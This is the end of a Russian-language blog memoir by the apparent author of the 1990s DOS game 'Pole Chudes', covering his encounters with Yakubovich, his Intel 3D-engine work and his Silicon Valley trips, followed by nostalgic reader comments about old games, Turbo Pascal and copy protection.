Через полгода спасители отечества вернулись на Русь и стали меня допытывать: -Где ты был, подлец? И почему твоя (то есть теперь наша) игра стоит на каждом втором компьютере с русской клавиатурой?
Ну что я мог ответить? Ничего. Плюнул и забыл.

Лампорт, eHouse и Улендеев



Автомобиль Форд, который можно купить на все деньги, заработанные на Поле Чудес

Ухмыльнувшись своим коммерческим успехам, я успокоился. Пока случайно в Москве не встретил сокурсника Славу Улендеева.
Мы с удовольствием выпили, и в пьяной беседе я рассказал ему анекдот про свое Поле Чудес.

Он молча вынул 400 долларов и новый компьютер со склада.

В город я вернулся Крезом.

Трехкомнатная квартира на 3-ей Фрунзенской в сталинском доме стоила в 1993 году три тысячи долларов США.
На 200 долларов в то время можно было съездить в Крым вчетвером на 2 недели и быть там Рокфелером.
Что я и сделал. Хороший номер в пансионате между Алуштой и Гурзуфом стоил миллион купонов или 1 доллар в день.

Однако деньги и компьютер были вручены не просто так. Я должен быть изучить язык Форт и склепать Морской Бой под ДЕНДИ, чрезвычайно популярную тогда игровую телевизионную приставку.

Форт я изучил, программу под эмулятор написал, но время ушло. Зарабатывать на играх было невозможно.
Инфляция съедала все (с) Ильф и Петров.
Деньги делались исключительно на торговле. Лес — за кордон. Компьютеры — на отчизну. Прибыль исчислялась тысячами процентов. Какие уж тут Денди.

А программист, как женщина, капризен и требует ухода.
Улендееву я благодарен и скучаю по тому времени. Но потерял все его номера телефонов.

Якубович, да, да, нет, да


Наступил 1995 год, я забыл про Поле Чудес.
Пришла эпоха 486 машин и трехмерных игр.
Я оставался сотрудником ВНИИЭФ, но деньги зарабатывал по контракту с фирмой Intel.
Intel был щедрым и ежеквартально устраивал OpReview в дорогих пансионатах страны.
В Нахабино мы играли в гольф вместе с А.Б. Пугачевой, например.
Как известный в прошлом игродел я работал в проекте 3DR и делал приложения и геометрический engine.
Было интересно. 3DR обогнал конкурента DirectX и настигал лидера OpenGL.

А страна готовилась в выборам президента. Рейтинг Ельцина упал до 0. Демократы зашевелились. Запахло жаренным и возвращением наворованного. Вся попса ринулась охмурять электорат. Якубович и Николаев на личных самолетах устроили тур по стране. Все за Ельцина!

Мы пересеклись с авиаторами в Нижнем Новгороде.
Выходя из гостиницы Волна на Волжской набережной я столкнулся с Якубовичем.
Мой кореш Федор Плетенев тронул шоумена за рукав.
— Леонид Аркадьич, а вот тот самый Дима Башуров с игрой Поле Чудес.
Телезвезда нахмурился.
— А вы в курсе, молодой человек, что мы на Вас в суд чуть не подали?

Я был не в курсе. Оказалось, ТВ редакцию завалили письмами с просьбой выслать призы. Шнурки от калош?? Боже, страна Чехова и Гоголя…
Так вот, что интересно. Письма читателей — это святое. Они должны храниться не менее 2 лет. На Королева, 12 было забито две комнаты мешками с письмами-просьбами от игроков в мое Поле Чудес.
Редакция несла материальный ущерб. Я злорадно ухмылялся. Якубович хмурил брови, но при расставании пожал мне руку.
Нормальный короче дядька, хоть и мудак.

Дальше было круче — из соседнего номера вышел… Ричард Гир. Алле, это Нижний Новгород!?
Больше ни я, ни кто другой голливудского красавца не видел.
Оказалось, он приехал в НН на трое суток. В первый же день с какой-то местной девахой умотал в Макарьевский монастырь. В гостинице больше не появлялся. Наш парень. Впрочем, к Полю Чудес это отношения не имеет.

Калифорния




Intel вывозил команду разработчиков не только в пансионаты. Но и в Калифорнию.
Однажды в Америке я достал ветхий список email адресов от сыгравших в Поле Чудес космополитов.
И послал дружелюбные письма.
Почти все адресаты ответили. Прошло три года, но игру помнили.
Звали в гости.
Я выбрал тех, кто жил в Калифорнии и с удовольствием с ними познакомился.
Влился в их футбольную компанию. Играли еженедельно в Купертино.
Игроки оказались сотрудниками NVidia, Apple и Sun, бывшие наши соотечественники.

Вообщем, мне теперь есть где переночевать в Пало-Альто и Сан-Хозе.

Intel в лице Джима Хёрли свозил меня на E3 в Лос-Анжелес. Это крупнейшая выставка компьютерных игр. Биенале, а может ежегодная. Игра Falcon летала на нашем 3DR движке быстрее конкурентов на 25%.
Как game developer и Интеловский контрактер я посетил почти все игровые компании того времени в Silicon Valley.
ЮбиСофт, Паралакс, Микропроус, Електроникс Артс, Спектрум Холобайт — все было. Все рядом.
В каждом офисе мне дарили коробки с новыми играми. Они всем дарили, но все равно приятно.

В основном стрелялки-бродилки. Я не игроман, но убил месяц на одну игру. Десент от Паралакс Софтваре. Игра помещалась в то время на 4 трехдюймовых дискетах.

Это был 1996 год. В России переизбрали президента и появился первый CD диск. Он вмещал целых 7 мегабайт.

Завершилась история моей игрушки и старых технологий.

Впрочем, иногда Поле Чудес напоминало о себе. В 2005 пришло приглашение в Лондон на конференцию. Меня позвали как game developer-а из закрытого города. Там были парни из Сарова (бывший Арзамас-16), Снежинска (бывший Челябинск-70) и Железногорска (бывший Красноярск-26).

Что сейчас? Меня знает администрация любого областного города, как автора игры Поле Чудес. Ведь все чиновники — бывшие вращатели полосатого барабана.
Но я не чиновник, не бизнесмен и не сын лейтенанта Шмидта.

Я — русский, а значит инженер и программист.
Программирование для русских парней — не профессия, а удовольствие.

Заключение


Неужели есть люди, одолевшие топик до конца?
Все опечатки сделаны умышленно.
shahbazyan
>> Неужели есть люди, одолевшие топик до конца?
Я одолел, и с превеликим удовольствием. Большое Вам спасибо за великий труд Ваш, эти игрушки — моя молодость)
shahbazyan
И, кстати, наконец-то я узнал, кто ж такие эти загадочные «Сотрудники отд. 08» :)
pavlick
а как приятно было видеть эту игрушку у кого-то не из Сарова, и угадывать те самые фамилии, которые у людей вызывали только ругательства… а потом смотреть на их недоумевающие глаза )
Colobock
Прочитал полностью. С удовольствием.
ftp27
Аналогично :) У автора отличный способности к письму. Прочел почти на одном дыхании
myagi
Автор, спасибо, Вы сделали наше детство.
Очень тематичный пост!
stell_hawk
>>Я одолел
на одном дыхании прочел.
и все таки, все мы вышли из тех. времен, когда каждая игра была на вес золота.

ЗЫ: я кстати поле чудес последний раз запускал в году 2002, на удивление она заработала даже без шаманств с настройками.
dudeonthehorse
Целая история! Спасибо за игрушку, много времени было проведено за ней в далеком 1997 году после покупки второго пенька в Германии ;)
liveor
Спасибо за воспоминания. Было приятно узнать об истории одной из любимых игр детства.
RxB
Здравствуйте.
Хотел бы получить рулон мягкой туалетной бумаги, куда можно обратиться?
dudeonthehorse
А я стульчак!
pehat
А я расческу для трусов и подтяжки для носков! Большое спасибо за наше счастливое детство.
pehat
Расческу для усов, конечно же. А то для трусов — это ж бессмыслица какая-то получается.
j1nn
и беруши для ушей!
ipfw
И пивную открывашку, круг для унитаза, порошок ариель.
borhomey
Дочитал. Очень интересно! Специально сегодня пойду на 6 этаж посмотреть на дверь этой легендарной 632А ;-)
PapaBubaDiop
лучше запости эту статью в закрытую сеть)
pavlick
там сейчас все носом к верху ходють
v_k
угу, чсв 100500
overmind88
Хехе, я один угорал с рисованного Якубовича? :)
silvergh0st
Спасибо Вам большое за отличные воспоминания! :)
chernish2
Спасибо за великолепную статью! Игра, действительно, в своё время была очень крутая. А на фото — порт на телефон? Или в эмуляторе запущено?
PapaBubaDiop
На фото приложение под iPhone, где кроме крутящегося барабана ничего не работает. Сделал специально для иллюстрирования статьи на Хабре.
flexoid
Вот это подход к написанию статей! =) Даже мне, знакомому с теми временами только по наслышке, было очень интересно. Играл в порт на денди, причем на российском картридже, большом таком, тяжелом) Это не вы его делали?
PapaBubaDiop
Нет, это не мое.
BupycNet
Кстати, думаю если бы вы написали порт на iPhone и Android то игра не плохо бы разошлась как раритет. Можно платно, можно с рекламой. Буду рад сыграть.
ruikarikun
play.google.com/store/search?q=pname:holod.pole.ru — кто-то (не я) уже сделал, с рекламой и сомнительными дополнительными персонажами.
f1ac
Уже мечтаю о порте под Android. Даже если только барабан крутится :)
Guedda
Была бы возможность плюсовать пост несколько раз — я бы это сделал с приогромным удовольствием! Спасибо Вам за такой щедрый автобиографией пост!
sidristij
История супер, одолел до конца :))) Спасибо за Морской Бой :)))
crimean
Такая статья заставляет задуматься и о своей жизни.
FakeFactFelis
У меня Трёхмерный АРКАНОИД от вашего поста, спасибо.
pehat
А можно и мне архивчик?
Konair0s
Читая такие посты, жалею что не родился на 30 лет раньше :)
overbeat
Радуйтесь! Время было романтичное лишь для тех, кто умеет крутиться, для всей остальной страны оно было крайне суровым.
Konair0s
Странная у вас реакция.
Konair0s
Напишу еще один коммент, чтобы в него можно было поставить еще минус!
splka
Пост в мемориз!
Уж очень интересно!
vyacheslavka
Да ладно! Сколько часов я провел в эту игру в свое время:) Спасибо вам большое
f0b0s
Загадка развеяна, все таки стены из Wolfenstein!
INCWADRA
Первый мой комп 80286. Обожал ваши игры, особенно Кинга, всей семьей рубились

Спасибо вам
sobol_noobz
Я помню, как шустро Якубович шевелил усами и ртом при переходе с 286 на 486 DX 100. Там всё так сразу быстро становилось, ууу… Сейчас уже в кармане производительность в десятки раз выше. Закон Мура всё ещё действует.
pavlick
он еще при это забавно трещать начинал
sobol_noobz
Это дааа =) PC Speaker зажигал =)
shoorick
А кнопки «Медленно» «Turbo» разве на четвёрках уже не было? Вроде, я их даже на пентиумах встречал…
supercritical
Офигенно, было очень приятно прочитать, спасибо большое!
mhspace
Cool story, bro!
teonoman
Стоп, а на iOS это Поле Чудес есть-то?
PapaBubaDiop
Приложение под iPhone урезано — кроме крутящегося барабана ничего не работает. Сделал специально для иллюстрирования статьи на Хабре.
teonoman
Жаль, с удовольствием бы купил.
mhspace
Ну если под iOS есть что-то вроде DOSBox, то какие проблемы?
mhspace
Вот, ниже как раз zenden2k упомянул некий iDOS. Попробуйте в нём.
Dreddik
Даешь игру на мобильных платформах! :)
gelios
Спасибо вам за счастливое детство!
ElaSTiC
Дочитал взахлёб, расстроился, хочу еще.
alexxxst
Прочитал на одном дыхании, полжизни в голове промелькнуло… Спасибо!
zenden2k
Простите, а где взять Поле Чудес для iPhone?
Или это оригинальная игра, запущенная под iDOS?
PapaBubaDiop
ответил повыше.
pavlick
пора делать полноценную версию ;)
Agent_Smith
и на iPad, играл бы часами. Думаю успех обеспечен.
overbeat
Отдельное спасибо за прекрасный слог, которым написана статья. Видно, человек большого ума.
yanchick
Собрать бы такие воспоминания в книгу, получился бы бестселлер. Офигенный пост, спасибо.
gaiver
Я помню, что после нажатия на кнопочку Turbo у девушки открывающей буквы увеличивалась скорость передвижения раза в два.
0dmin
Люблю читать такие истории успеха. Мотивируют и поднимают настроение.
Rafael
Все создавалось на TURBO PASCAL. Почему не на TURBO C? Не знаю, до сих пор загадка.

Да нет никакой загадки. Компиляция даже большой программы на Turbo Pascal на IBM PC XT (4,7 Mhz, 640 Kb RAM) занимала менее минуты. А вот программа в несколько сотен строк на Turbo C, компилировалась на IBM PC AT (16 Mhz, 1MB RAM) в лучшем случае полчаса. Причём не было никакой гарантии, что по истечении этого получаса получится exe-файл. Вполне реально было получить ошибку линковщика или ещё что-нибудь. После чего быстренько исправив опечатку/ошибку процесс компиляции запускался заново.

А компьютерное время было на вес золота. И позволить себе вот так вот им разбрасываться мог позволить далеко не каждый программист. Вот потому и повсеместная любовь к Turbo Pascal. Который был для своего времени очень хорошим инструментом. Да и сейчас остаётся для обучения студентов.
yanis76
А вот программа в несколько сотен строк на Turbo C, компилировалась на IBM PC AT (16 Mhz, 1MB RAM) в лучшем случае полчаса.
Ну это вы загнули, на несколько сотен строк — минут 10-15, не больше. Хотя… Смотря сколько наинклудить.
Зато отображаются все ошибки при компиляции, а не только первая. Если нормально читать журнал ошибок — можно враз исправить все оЧепятки.
shoorick
И почему-то Turbo Pascal давал более компактные exe-файлы, чем Turbo C (разумеется, сравнивались программы, делавшие одно и то же).
free0u
Я играл в Поле Чудес в детстве, правда плохо уже помню.
Почему-то напомнило «Вы конечно шутите, мистер Фейнман»
samlowry
Простой рассказ о себе, без выебонов. Так определяю стиль Фейнмана, так и тут. Вот за это и любим!
JiMKE
А помните еще была такая игра «Коммерсант»?
RxB
Ага, она ещё вылетала при звонке другому бизнесмену в случайном порядке
Barsik107
Спасибо за то, что дали понять нам, молодым, какое было программирование тогда, — 30 лет назад!
overbeat
20 же.
AHDPEu
Я ещё в школе наигравшись в Ваши игры, садился за бейсик писать свою игру. Пал выбор на карточные игры, хотел «дурака» написать. Не хватило знаний, дальше отрисовки 5 карт уйти. Но программистом всё же стал :)
FloppyFormator
DrHalo! Я лет 10 вспоминал как называется этот редактор!
shoorick
Ага. И в нём окружности и эллипсы рисовались от центра, а не вписывались в прямоугольник, как сделано по умолчанию в современных редакторах.
greenkaktus
Человечище! Жму руку!
TimTim
Читая первые предложения, в голове крутилась мысль «погоди неужели это тот поле чудес, который я первый раз увидел в 95». Спасибо Вам!
dimas
на Турбо-Паскаль потому, что он был ощутимо раньше, чем Турбо-Си. Си вообще Борланд, если не путаю, с нуля не создавала, а купила кого-то…

Турбо Паскаль 3.0… 40Кб компилятор со встроенным редактором, и еще несколько Кб — файл с описанием ошибок… правда, при неудачно переставленной дискетке, затиравший таблицу файлов… ЕС1840 с текстовым желто-зеленым монитором, «Нейрон»…
hitry
Спасибо за статью =)
Jenjaman
Я так полагаю, сейчас есть шанс зарабатывать на этих играх снова — на мобильных версиях. Вон Пажитный до сих пор получает денежки от Tetris, который активно продвигает EA на мобильных платформах.
Chamie
Пажитный
Пажитнов же!
quark
Официально объявляю этот пост постом добра!
pnick
Спасибо! Воспоминания о школе нахлынули. Уроки информатики :)
aml
С ума сойти :) Оказывается, и у народных песен есть авторы! Спасибо Вам за игру :)
webhamster
Да, Поле Чудес — это веха в отечественном игромире. Я помню, как у Якубовича иногда челюсть внизу зависала, потом в какой-то момент захлопывалась. Было смешно.
Volfram
Это восхитительная смесь сурового олдфажества и романтики :) Прочитал не отрываясь.
DmitryLoki
аааа =) имхо самая лучшая статья на хабре за крайние полгода
огромный респект за игры и вообще!
Igor_Sib
Человек-легенда!
Sapiens
ой спасибо за эти лихие игровые 90-е с политической параллелью. Читалось очень легко и приятно
ssneg
Да, играли-играли. Одновременно с принцем, реталом, утиными историями и прекрасной игрой «Демократ», где лягушечка прыгала по сжимающимся кружочкам и убегала от бюрократов :)
PadlaVan
Перестройка же…
ru.wikipedia.org/wiki/Perestroika
baroleg
Спасибо Вам!
В школе это была любимая игрушка, старался сделать все быстрее чтобы поиграть! Спасибо!
densilvio
Спасибо большое!
Не один час провел за игрой когда-то :)

Про любовь к Turbo Pascal вспомнилось как украинцы презрительно говорили «москали любят паскали» (в незалежной исторически сложилось, что Си был популярнее)
neochapay
Увидя поле чудес на Дельта-С (Клон Спектрума) я решил связать свою жизнь с компами :)
И да пост добра
AreD
О да, одна из любимейших игр на спейке была)
foxweb
Но это же не сабжевая версия была, верно? Я помню, у меня была «Поле чудес», написанная на бейсике, с кучей псевдографики и голосовым синтезатором :) Это она?
neochapay
Нет, именно сабжевая не на бейсике была она точно…
alexbeep
Отличный пост! в свое время был очень удивлен, что вы-из Сарова
Скажите, а версия для денди это был уже не ваш проект?
PapaBubaDiop
Не мой. И поздние коммерческие версии рекламируемые в ТВ — не мои.
dzhuff
Морской бой, Поле чудес, Коммерсант, Перестройка, ВолфенШтайн, Дум и Принц Персии после занятий в школе в первом классе. Эти игры, в моем сознании, просто существовали, до сегодняшнего дня не задумывался, что у них есть авторы. Спасибо!
jolasveinninn
Спасибо за статью, нахлынули светлые воспоминания из детства. В «Поле чудес» играл в году так 1995-ом у мамы на работе в одном из институтов ДВО РАН, дома тогда еще компьютера не было.
Balansse
Поле Чудес, Кинг, Морской Бой… Детство :)

В игре Кинг еще была интересная «защита» — перед началом игры надо было ввести код, индекс Комсомолки :) ЕМНИП он был написан на изображении газеты на фоне.

Обожаю эти способы защиты того времени.

«Введите 34 слово с 65 страницы мануала»

А поиск заветных слов по BBS или среди знакомых? Романтика…
pehat
Ну для этого должен быть хоть один человек, у которого был официальный бумажный мануал. А на BBS такую штуку закинуть было бы проблематично — по тем временам ни отсканировать, ни уж тем более OCRнуть. Зато при наличии прямых рук и дизассемблера можно было заменить jnz на jmp.
Balansse
То что такие проверки взламывались влет это да. Хуже обстояло с тем, когда в мануалах была жизненно важная для игры информация :)

До сих пор помню как обидно было застрять на мусоровозе в Space Quest V только потому, что список координат нужных планет находился в мануале. Перепробовал тогда все на свете, но так и застрял там :(
pehat
У меня добрые ребятки текстовый файлик в папке с игрой оставили, так и играл. А PDFный мануал я скачал только лишь в 2007 году.
j1nn
ох, точно, какие воспоминания:)
lehha
Потрясающе! По скриншотам сразу вспомнил свой первый компьютер, пачку дискет…
Поле Чудес и Морской Бой — точно были у меня такими))
RxB
А озабоченный чувак Ларри Лаферадзе? (в переводе)
Где ответами на вопросы надо было доказать, что тебе 18 лет.
Помню был вопрос «Что такое ВМФ»?
-Видеомагнитофон
-Военно-Морской Флот
и т.п.
lehha
даа! помню! один раз только смог ответить на все вопросы :D
timertimer
Глупый пингвин робко прячет… что? «Акваланг, оружие и документы» до сих пор так говорим.
valyard
Спасибо за наше счастливое детство! (8
Поле Чудес — одна из первых старых игр, которые приходят на ум. В одном списке с такими мировыми хитами, как Doom.
romign
Приятно слышать, что одна из любимых игр детства — детище, можно сказать, земляка из Сарова. Мы с сестрой туда к родственникам почти каждые каникулы раньше приезжали. Возможно знаете Романова Ю.А.?
PapaBubaDiop
Я всех знаю и всех помню.
wfwell
страшно
IGHOR
Спасибо за хороший рассказ!
И отдельно спасибо за игру детства!
BUSHA
Спасибо, шикарная история! Никогда не забуду, как я, малолетний мальчуган, изменял надписи прямо в бинарниках морского боя (а потом и поля чудес) на свои — и это было круто, верх хакерства в то время :)

Спасибо за счастливое детство.
INCWADRA
Все начинающие кодеры видимо это делали =)
BUSHA
Но по итогу я стал UI дизайнером :)
INCWADRA
Видимо все начинающие программисты этим баловались)
INCWADRA
глюк(
overbeat
Я как-то так испортил Sextris. Хотел прикоснуться к прекрасному :)
overbeat
Я как-то так испортил Sextris. Хотел прикоснуться к прекрасному :)
overbeat
Пардон. У Хабра похоже от этого поста Хабраэффект, не сразу коммент отсылается.
PapaBubaDiop
Забыл добавить! Все свои exe-шники я выкладывал в debug моде.
demoded
Хорошо пишете, вас легко читать. Спасибо за игры!
Olif
Спасибо за игрушки!
И как жаль что сейчас уже вырастает поколение, которое никогда не поймет эти игры, и ту радость которую мы получали в свое время…
Konair0s
Чего жалеть? о_О Каждому поколению свои игры.

Наверняка через 10 лет они про Crysis будут так же говорить :D
Ну, не конкретно про него разумеется, на фоне сегодняшнего изобилия он несколько смазывается. Но что-то в этом роде.
Olif
Я как-бы к тому, что «игры уже не те». Имхо.
Но я очень рад что еще застал «Поле Чудес».
Konair0s
Ну да, про не те не могу не вспомнить картинку:

MihailOlenin
Стоит заметить, что игры 1994 года вызывают теже ощущение, как изображено на картинке до сих пор.
pavlick
иначе просто играть не будут
nxs
А мне эта картинка почему-то игру Dave напомнила.
Именно с ней связаны такие эмоции ))
Demir0
Я недавно прошел TinyToon за полдня в эмуляторе с функцией сохранения. После это понял секрет «сложности» игр тех годов.
BupycNet
Я играл в нее в лагере на старых компах правда помню что мне доставалось только 2 минуты и я не разобрался… завтра скачаю эмулятор и буду играть, я никак не мог вспомнить что это за игра там была.
Invision
Спасибо за статью, очень понравилось.
Andrewww
Спасибо Вам за игру и интересную историю про её жизнь!
Помню как в школе оставался после уроков и на перемены в классе информатики, доделывая придуманные в программки, а в качестве сладкого (после успешной компиляции кода) была эта самая игра!
Fomka
Помнится, у меня у папы на компьютере были три игрушки: дюк нюкем (который я называл думом, а лежал он в папке c:\dum), второй принц персии и какая-то леталка.

В памяти сохранились лишь обрывочные воспоминания о них: сам я не играл, но требовал, чтобы играл папа, а сам увлеченно наблюдал=)

Позже я пытался вспомнить эту троицу. С принцем было просто — помнил название, с «думом» — посложнее… а вот стрелялку я так и не вспомнил…

Так вот, к чему я это все… это был Descent=) Спасибо…

А Поле чудес я просто обожал. Ненавидел этот ящик сникерсов. И каждый раз расстраивалcя поражению.
Огорчало десятки минут ждать, пока высыпется весь иногда колоссальный выигрыш в виде банкнот (не помню, что на них было изображено, кажется, рубли советские)
INCWADRA
ага, там кажется были советские красные рублики = 10 рублей вроде бы
pehat
Помню, я как-то дождался выдачи миллиона. Ждал минут 20.
Fomka
я всегда дожидался=)
dzhuff
Точно, Descent!
Тоже не мог вспомнить.
BSDaemon
Лучший топик за последние-много-недель!
Получил огромное удовольствие от прочтения. Спасибо Вам большое за ваши воспоминания и рассказ. Сколько часов в детстве было проведено за Вашими играми.
Nafan
спасибо за игру.
Yoda33
… МОРСКОЙ БОЙ показали в программе ВРЕМЯ летом 1991 года. А меня назвали ястребом, разжигающим войну между братскими народами…

А сейчас бы могли привлечь упечь «за экстримизм» 8)
Огромное спасибо за статью. Поностальгировал. Сам я был на другой стороне этой системы. 5 лет службы в ядерно-технических частях 12 ГУМО РФ.
Mezomish
В принципе, если захотят, то и сейчас упекут. Кто сомневается в идиотизме наших властей — ознакомьтесь.
Avtandilko
Похоже начнется новый виток популярности этой игрушки)
Мне самому так жутко поиграть захотелось после статьи.
pehat
Пишите, их есть у меня.
Nashev
а мож архивчик на хостинг и ссылочку сюда?
nxs
Не люблю засорять топики комментариями типа "спасибо", но тут просто не могу ограничиться плюсами!
Спасибо большое за увлекательнейшую историю не только игры, но и Вашей жизни. Читал, не отрываясь!

Ваше «Поле Чудес» на стареньком 386-м скрашивало не только вечера (играли всей семьей!), но и очень отвлекало от реалий того нелегкого времени. Через эту игру Вы абсолютно безвозмездно стали яркой частью моего детства, за что огромное Вам спасибо!

Удачи и счастья Вам и Вашим близким!
pnd_ku
Великолепная статья, спасибо!
И, пожалуйста, пишите больше, если есть возможность — очень уж интересно рассказываете!
pnd_ku
И ещё — у Вас ошибка на сайте лезет.
PapaBubaDiop
Спасибо, сейчас исправлю. Чертов Drupal.
RxB
Обращайтесь, помогу, я вам уже писал, что вы мне помогли своими играми.
tkf
Спасибо вам, в детстве играл во все игры что вы назвали, при этом даже не догадывался что их делал один и тот же человек. Тогда в основном думал что это все делают суровые конторы. Ну и просто невозможным кажется то, что вы есть, и после стольких лет вы написали на хабре о том как это все происходило и создавалось. Прямо мистерия какая то.
Когда играл в ваш морской бой, было даже ощущение что на максимальном уровне компьютер жульничает :D Сейчас пошел его скачаю, есть много дисков со старыми игрушками, наверно он там есть, но на всякий случай солью отдельно.
А уж ускорение всего в поле чудес при нажатии на кнопку турбо это было очень весело. Вот с перестройкой было хуже, чтобы ее нормально играть на 486sx приходилось ставить специальную замедлялку. А поле чудес просто немного ускорялся, и это было круто.
Не знаю даже что написать. Вы создали то что уже никогда не забудется. У меня вроде до сих пор родители в вашего Кинга рубятся. ^_^
Как приеду домой наверно похвастаюсь тем что поблагодарил вас, и вы это даже прочитали. Спасибо.
PapaBubaDiop
На уровне адмирала компьютер знал местоположение всей Вашей армады)

Но были парни, которые выигрывали и у адмиралов! Мода debug при компиляции игры была оставлена не случайно.
tkf
В общем все жульничали :)
emp
если не ошибаюсь — то можно было выйграть на любом уровне сложности — выставив все корабли по краям поля
Klementev
Не знал что у нас в Нижнем Н. был Ричард Гир)

Спасибо за интересную историю кстати.
jazzman
а той девахе, что с ним «отдыхала», небось до сих пор никто не верит))
bRUtality
А ей это и не нужно. То была Моника Белучи:)
ЗЫ. Белучи тоже бывала в Нижнем…
nervousnerd
Дмитрий, а чем вы сейчас занимаетесь?
turbo_exe
просмотрите блог ТС, там всё есть. он писал уже.
PapaBubaDiop
Дима — от Вадим. Пишу все подряд для мобильных устройств. Вернее не все подряд, а что считаю полезным и интересным.
HighOctane
Огромное спасибо за изящное повествование легендарной игры.
3yM
Очень интересная история!!!
Огромное спасибо за воспоминания!
sly2m
Спасибо.
moadib
Спасибо, помню игры :) И помню сходство боцмана с конферансье :) Я тогда думал, что это игры от одного разработчика :)

У Вас замечательный стиль изложения, читать легко, чувствуется, что Вы интересный человек :)
PapaBubaDiop
Автор ПрефКлуба — русский, по слухам был приглашен в Японию на работу творить игрушки.
odmin4eg
просто пять, читал в захлёб, написано очень хорошо
FirsofMaxim
Спасибо, в Снежинске все еще нельзя дозвонится на рабочий )))
PapaBubaDiop
Да, кстати — Снежинск мой родной город. Привет Снежику и Андюхе Чеснокову, моему корешу школьному.
FirsofMaxim
Вах! Обязательно передам! Если будете в наших краях — можно встретится за рюмкой чая ))
M4estro
А ж слезы пошли…
Автор молодец!
mnarinsky
Спасибо! Мне кажется одна из лучший статей на этом сайте!
Z0nd0R
Спасибо большое за игру.
Я прям зачитался, игры моего детства. Первый 286 я попробовал в 4 года )
gohdan
В нашей школе барабан крутили до 2005-го года, пока не обновили компьютерный парк :) Спасибо Вам!
cheaTTer
Дочитал до конца на одном дыхании.
Чем то напомнило стиль изложения книгу«Хакеры герои компьютерной революции»
SLY_G
Захватывающе! Спасибо!
Помню «Поле чудес»!
Помню диггера, кэтс. Был я юн и наивен, а в PC влюбился сразу как увидел. CGA, EGA — всё это вызывает тёплые ностальгические воспоминания…
Помню descent, когда еще был игроманом — играл напропалую. Кстати, прекрасно тренирует пространственное мышление, я с тех пор перестал теряться на местности.
Спасибо ещё раз.
MihailOlenin
Ааааааа!!!
Я вырос на этих играх!!! Я в них играю время от времени до сих пор, уже почти 20 лет прошло!!!
menraen
Во-первых, спасибо за замечательную статью. И спасибо за замечательные игры. Я не устану повторять: мы — все, кто как-то связан с ИТ живем в совершенно замечательное время: у нас у всех есть возможность прикоснуться к легендам: послушать лекцию Столлмана, попререкаться с Торвальдсом в LKML, написать e-mail Джобсу (говорят, иногда он даже отвечает), задать вопрос автору «Поля Чудес»…

Во-вторых разрешите задать вопрос:
Однако деньги и компьютер были вручены не просто так. Я должен быть изучить язык Форт и склепать Морской Бой под ДЕНДИ, чрезвычайно популярную тогда игровую телевизионную приставку.

В середине 90-х мне довелось видеть картридж для NES (Dendy) c русскоязычной игрой «Морской бой». Это и был порт на Денди, о котором написано в статье?
Konair0s
Ответили выше:

alexbeep, 18 июля 2011, 14:00 #
+1
Отличный пост! в свое время был очень удивлен, что вы-из Сарова
Скажите, а версия для денди это был уже не ваш проект?
ответить
PapaBubaDiop, 18 июля 2011, 14:08 #

+3
Не мой. И поздние коммерческие версии рекламируемые в ТВ — не мои.
ответить


habrahabr.ru/blogs/history/124363/#comment_4088138

Про «попререкаться с Торвальдсом» это метко :D
tkf
Наверно это немного не то, автор отвечал про Поле чудес, а спрашивают про Морской бой. Про поле чудес для денди я слышал :) А вот морской бой не видел, может кто-нибудь где-нибудь видел ром?
Infernal
У меня был картридж с вот этой вот игрухой goo.gl/D6fTb
OmKol
cah4e3.shedevr.org.ru/dumping_2004.php
На этом сайте есть дампы многих игр для NES/Денди, не выходивших официально. Так на странице дампов 2004-го года есть и Морской бой и Поле чудес.
PapaBubaDiop
Нет, под Денди не мое.
IlyaMS
Буду неоригинален: спасибо огромное за эти игры, они часть самых светлых и радостных воспоминаний детства.
IlyaMS
За статью также спасибо. Написана легко и весело, читается влет. Смысл — философский.
Monca
Мы молоды пока мы веселы.
Прочитал два раза.
Пап Буба, Жму правую!
KollinZ
Превосходно изложили все!
Спасибо за ваш труд!
g3ar
Дочитал, супер, Спасибо!:)
Wo1f
После этого топика все статьи хабра как-то побледнели =(
avaddon
Прям Форрест Гамп, человек который застал и повидал все:)
Mezomish
>Неужели есть люди, одолевшие топик до конца?

Это чуть ли не единственный топик такой длины, который я прочитал от начала и до конца.
Спасибо за топик и за игры, в «Поле Чудес» играла вся семья!
geber
Таким людям памятники надо ставить… при жизни, чугунные, на вокзалах :))
Спасибо!
Tonto
Спасибо, «Поле Чудес» была одна из первых, которые я увидел.
bschepan
Чудесный пост, спасибо Вам, в кинга до сих пор играю :)
Doman
Спасибо за «Поле Чудес» и «Морской бой» — играл, когда было лет 5-6, после детского сада у Мамы на работе сидел, где уже появились компьютеры :)

А я, кстати, в том нежном возрасте верил, что приз таки можно получить, но когда убедился что нет — выбирал деньги. Думаю, что все помнят, как весь экран на протяжении пяти минут заполнялся розовыми бумажками :)
GamePad64
Кстати, IBM PC стал человеком 1982 года. Исправьте, пожалуйста.
PapaBubaDiop
Исправил. Гугл попутал. А ведь я помнил, что число четное)
tmp0000
Помню времена, когда я выходил из игры «Поле чудес» нажатием… кнопки Reset :) Как запускать приложения — знал (точнее, нашел методом тыка в Norton Commander), а про существование клавиш для выхода (Escape, Control+c, Alt+q) тогда еще не догадывался. Год 96-97, кажется, когда родители купили б/у 486sx за 400$ (если мне память не изменяет) — достаточно большие деньги.
rebraining
Благодаря Полю Чудес я стал не программистом, но уверенным пользователем. Когда у нас дома появился первый 486 (мне было лет 7-8), то папа или брат загружали мне Поле Чудес и оставляли развлекаться. Системник стоял под столом и я постоянно нажимал ногой ресет. Приходилось звать папу или брата, чтобы мне вернули игрушку. Им это, конечно, не нравилось. Поэтому мне пришлось освоить Нортон. Гордость я ощутил, когда научился переключать диски — Поле Чудес стояло на D. Ну а дальше пошло-поехало.

Так что спасибо за ваш вклад в мою компьютерную грамотность.
Lungo
Когда талантливый человек находит свое дело — рождаются шедевры.
Хотите заработать на Поле Чудес? Делайте порт на iOS, тем более, что опыт разработки на эту платформу у вас имеется. Жаль только, что исходники не сохранились, все заново делать нужно.
kachkaev
Вы не поверите, но в детстве эта игра произвела на меня такое впечатление, что я даже попытался создать её аналог на флеше, программировать практически не умев.

Сегодня чудом нашёл swf-ку в давно забытом архиве:


Конечно, дописать игру я тогда до конца я не смог — не хватило энтузиазма и умения, но какой-никакой опыт создания чего-либо это дало. Судя по времени модификации файла, это был 2001-й год. Спасибо!
PapaBubaDiop
Здорово. Девушки на картинке не хватает.
kachkaev
Да там для начала половины самой картинки не хватает. :)
Aldekein
Хо-хо, а я в детстве под Borland C++ Builder пытался портировать) Барабан в 3D Max рендерил сам))
Тоже так и не дошла до победно-работоспособного состояния.
nikitko
